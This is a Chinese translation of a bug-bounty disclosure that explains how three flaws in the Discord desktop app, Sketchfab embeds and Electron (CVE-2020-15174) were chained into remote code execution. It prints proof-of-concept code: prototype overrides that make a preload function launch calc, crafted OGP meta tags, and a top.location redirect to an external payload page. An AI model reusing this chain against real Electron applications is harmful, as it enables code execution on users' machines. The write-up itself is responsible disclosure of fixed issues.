Discord桌面应用程序RCE


01

背景

几个月前,我在Discord桌面应用程序中发现了一个远程执行代码的问题,并通过其Bug Bounty Program报告了该问题。
我发现RCE很有趣,因为它是通过组合多个错误实现的。在本文中,我想分享细节。
为什么我选择Discord作为目标
我感觉好像是在寻找Electron应用程序的漏洞,因此我一直在寻找一个赏金计划,该计划为Electron应用程序支付了赏金,我找到了Discord。另外,我是Discord用户,只想检查我使用的应用程序是否安全,因此我决定进行调查。

02

我发现的bug

基本上,我发现了以下三个bug,并通过结合使用它们实现了RCE。

  1. 缺少上下文隔离

  2. iframe嵌入中的XSS

  3. Navigation restriction bypass(CVE-2020-15174)

我将一一解释这些错误。

  1. 缺少上下文隔离

在测试Electron应用程序时,首先,我始终会检查BrowserWindow API的选项,该选项用于创建浏览器窗口。通过检查它,我考虑了如何在渲染器上执行任意JavaScript时如何实现RCE。

Discord的Electron应用程序不是一个开源项目,但是Electron的JavaScript代码以asar格式保存在本地,我能够通过提取它来读取它。

在主窗口中,使用以下选项: 

const mainWindowOptions = { title :D"iscord”, backgroundColor:getBackgroundColor(), width:DEFAULT_WIDTH, height:DEFAULT_HEIGHT, minWidth:MIN_WIDTH, minHeight:MIN_HEIGHT,transparent:false frame:false, resizable:true, show:isVisible, webPreferences: { blinkFeatures:'EnumerateDevices,AudioOutputDevices', nodeIntegration:false, preload:_path2.default.join(__ dirname,'mainScreenPreload.js'), nativeWindowOpen:true, enableRemoteModule:false, spellcheck:true }};

我们这里应该检查的重要选项尤其是nodeIntegration和contextIsolation。从上面的代码中,我发现在Discord的主窗口中,nodeIntegration选项设置为false,而contextIsolation选项设置为false(使用版本的默认值)。

如果将nodeIntegration设置为true,则网页的JavaScript只需调用即可轻松使用Node.js功能require()。例如,在Windows上执行calc应用程序的方式是:

<script> require'child_process')。exec('calc');</ script>

这一次,将nodeIntegration设置为false,因此我无法通过require()直接调用直接使用Node.js功能。

但是,仍然可以访问Node.js功能。该contextIsolation,另一个重要的选项,设置为false。如果要消除在应用程序上进行RCE的可能性,则不应将此选项设置为false。

如果禁用contextIsolation,则网页的JavaScript可能会影响在渲染器上执行Electron内部JavaScript代码和预加载脚本(在下文中,这些JavaScript将被称为网页外部的JavaScript代码)。例如,如果您Array.prototype.join使用网页JavaScript中的另一个函数重写  了JavaScript的一种内置方法,则网页外部的JavaScript代码在调用时也将使用重写的函数join。

此行为很危险,因为Electron允许web页面外部的JavaScript代码使用node.js功能,而不管nodeIntegration选项如何,并且通过干扰web页面中重写的功能来干扰它们,即使nodeIntegration为设置为false。

顺便说一句,以前还不知道这样的把戏。它最早是由Cure53在一次渗透测试中发现的,我也于2016年加入了该测试。之后,我们将其报告给Electron团队,并引入了contextIsolation。

最近,该笔测试报告已发布。如果您有兴趣,可以从以下链接中阅读:

Pentest报告

https://drive.google.com/file/d/1LSsD9gzOejmQ2QipReyMXwr_M0Mg1GMH/view

您还可以阅读我在CureCon活动中使用的幻灯片:

该contextIsolation介绍了网页和JavaScript代码之外的网页,使每个代码的JavaScript执行不影响各间分隔的上下文。这是消除RCE可能性的必要功能,但是这次在Discord中将其禁用。

现在,我发现contextIsolation已禁用,因此我开始寻找一个可以干扰网页外部JavaScript代码来执行任意代码的地方。

通常,当我在Electron的渗透测试中为RCE创建PoC时,我首先尝试通过在渲染器上使用Electron的内部JavaScript代码来实现RCE。这是因为可以在任何Electron应用程序中执行渲染器上Electron的内部JavaScript代码,因此基本上我可以重用相同的代码来实现RCE,这很容易。

在我的幻灯片中,我介绍了可以通过使用Electron在导航时间执行的代码来实现RCE。不仅可以从该代码中获得代码,而且在某些地方也有这样的代码。(我希望将来发布PoC的示例。)

但是,根据使用的Electron的版本或设置的BrowserWindow选项,由于代码已更改或无法正确访问受影响的代码,有时通过Electron的代码进行PoC不能很好地工作。在这次,它没有用,所以我决定将目标更改为预加载脚本。

在检查预加载脚本时,我发现Discord将函数公开了,该函数允许通过调用某些允许的模块到

DiscordNative.nativeModules.requireModule('MODULE-NAME')

网页中。

在这里,我无法使用可直接用于RCE的模块,例如child_process模块,但是我发现了一个代码,在其中可以通过重写JavaScript内置方法并干扰公开模块的执行来实现RCE。

以下是PoC。我能确认的是,计算的应用程序弹出时,我所说的getGPUDriverVersions被称为“模块中定义的函数

discord_utilsdevTools而重写RegExp.prototype.testArray.prototype.join

RegExp.prototype.test = function(){ return false;}Array.prototype.join = function(){ return“ calc”;}DiscordNative.nativeModules.requireModule('discord_utils').getGPUDriverVersions();

该getGPUDriverVersions函数尝试使用“ execa ”库执行程序,如下所示:

module.exports.getGPUDriverVersions = async () => { if (process.platform !== 'win32') { return {};  } const result = {};  const nvidiaSmiPath = `${process.env['ProgramW6432']}/NVIDIA Corporation/NVSMI/nvidia-smi.exe`; try { result.nvidia = parseNvidiaSmiOutput(await execa(nvidiaSmiPath, [])); } catch (e) { result.nvidia = {error: e.toString()};  } return result;};

通常execa会尝试执行在变量中指定的“ nvidia-smi.exe ”,nvidiaSmiPath但是,由于覆盖了RegExp.prototype.test和Array.prototype.join,因此在execa的内部处理中将参数替换为“ calc ” 。

具体来说,通过更改以下两个部分来替换该参数。

https://github.com/moxystudio/node-cross-spawn/blob/16feb534e818668594fd530b113a028c0c06bddc/lib/parse.js#L36https://github.com/moxystudio/node-cross-spawn/blob/16feb534e818668594fd530b113a028c0c06bddc/lib/parse.js#L55

剩下的工作是找到一种在应用程序上执行JavaScript的方法。如果我可以找到它,则会导致RCE。

2.iframe嵌入中的XSS

如上所述,我发现RCE可能来自任意JavaScript执行,因此我试图找到一个XSS漏洞。该应用程序支持自动链接或Markdown功能,但看起来不错。因此,我将注意力转向了iframe嵌入功能。例如,iframe嵌入功能是在发布YouTube URL时自动在聊天中显示视频播放器的功能。

当网址贴出来,不和谐尝试获取OGP该URL的信息,如果存在OGP信息,它会显示网页标题,描述,在聊天的缩略图,相关的视频等。

Discord从OGP中提取视频URL,只有在允许视频URL域并且该URL实际上具有嵌入页面的URL格式的情况下,该URL才会嵌入到iframe中。

我找不到有关哪些服务可以嵌入到iframe中的文档,因此我试图通过检查CSP的frame-src指令来获取提示。当时,使用了以下CSP:

Content-Security-Policy: [...] ; frame-src https://*.**屏蔽敏感词** https://*.twitch.tv https://open.spotify.com https://w.soundcloud.com https://sketchfab.com https://player.vimeo.com https://www.funimation.com https://twitter.com https://www.google.com/recaptcha/ https://recaptcha.net/recaptcha/ https://js.stripe.com https://assets.braintreegateway.com https://checkout.paypal.comhttps://*.watchanimeattheoffice.com

显然,其中列出了一些允许iframe嵌入的内容(例如YouTube,Twitch,Spotify)。我试图通过将域一一指定到OGP信息中来检查URL是否可以嵌入iframe中,并尝试在嵌入式域中找到XSS。经过一番尝试,我发现可以将 C ++中列出的域之一sketchfab.com嵌入到iframe中,并在嵌入页面上找到XSS。当时我还不了解Sketchfab,但似乎这是一个用户可以在其中发布,购买和出售3D模型的平台。3D模型的脚注中有一个基于DOM的简单XSS。

以下是具有精心制作的OGP的PoC。当我将此URL发布到聊天中时,Sketchfab被嵌入到聊天中的iframe中,然后在iframe上单击几下后,将执行任意JavaScript。

https://l0.cm/discord_rce_og.html<head> <meta charset="utf-8"> <meta property="og:title" content="RCE DEMO"> [...] <meta property="og:video:url" content="https://sketchfab.com/models/2b198209466d43328169d2d14a4392bb/embed"> <meta property="og:video:type" content="text/html"> <meta property="og:video:width" content="1280"> <meta property="og:video:height" content="720"></head>

好的,最后我找到了XSS,但是JavaScript仍在iframe上执行。由于Electron不会将“网页外的JavaScript代码”加载到iframe中,因此即使我覆盖iframe上的JavaScript内置方法,也不会干扰Node.js的关键部分。要实现RCE,我们需要退出iframe,并在顶级浏览上下文中执行JavaScript。这需要从iframe打开新窗口,或将顶部窗口导航到iframe的另一个URL。

我检查了相关代码,并在主要流程的代码中找到了通过使用“ new-window ”和“ will-navigate ”事件来限制导航的代码:

mainWindow.webContents.on('new-window', (e, windowURL, frameName, disposition, options) => { e.preventDefault(); if (frameName.startsWith(DISCORD_NAMESPACE) && windowURL.startsWith(WEBAPP_ENDPOINT)) { popoutWindows.openOrFocusWindow(e, windowURL, frameName, options); } else { _electron.shell.openExternal(windowURL); }});[...]mainWindow.webContents.on('will-navigate', (evt, url) => { if (!insideAuthFlow && !url.startsWith(WEBAPP_ENDPOINT)) { evt.preventDefault(); }});

我认为这段代码可以正确地阻止用户打开新窗口或浏览顶部窗口。但是,我注意到了意外的行为。

3.Navigation restriction bypass(CVE-2020-15174)

我以为代码还可以,但是我尝试检查iframe的顶部导航是否被阻止。然后,令人惊讶的是,由于某种原因,导航没有被阻塞。我希望在导航发生之前,“ will-navigate ”事件会捕获该尝试preventDefault(),但会拒绝该尝试,但事实并非如此。

为了测试这种行为,我创建了一个小型的Electron应用程序。而且我发现由于某种原因,从iframe开始的顶部导航未发出“ will-navigate ”事件。确切地说,如果顶部的起点和iframe的起点在同一起点,则发出该事件,但如果起点在不同的起点,则不发出该事件。我认为这种行为没有正当的理由,因此我认为这是Electron的错误,因此决定稍后再向Electron团队报告。

借助此错误,我可以绕过导航限制。我应该做的最后一件事就是使用iframe的XSS导航到包含RCE代码的页面,例如

top.location="//l0.cm/discord_calc.html"

这样,通过结合三个错误,我能够实现RCE,

03

结果

通过Discord的Bug赏金计划报告了这些问题。首先,Discord小组停用了Sketchfab嵌入,并采取了一种变通方法,通过将沙箱属性添加到iframe来阻止从iframe导航。一段时间后,启用了 contextIsolation。现在,即使我可以在应用程序上执行任意JavaScript,RCE也不会通过覆盖的JavaScript内置方法发生。我因这次发现而获得了5,000美元的奖励。

Sketchfab上的XSS是通过Sketchfab的Bug赏金计划报告的,并由Sketchfab开发人员迅速修复。我因这次发现而获得了300美元的奖励。

向电子安全团队报告了“ will-navigate ”事件中的错误是Electron的错误,并已修复为以下漏洞(CVE-2020-15174)。


渗透测试自用路径字典、爆破字典​

内网渗透技术汇总

获取更多资讯请加入交流群


    协助本站SEO优化一下,谢谢!
    关键词不能为空
评 论
更换验证码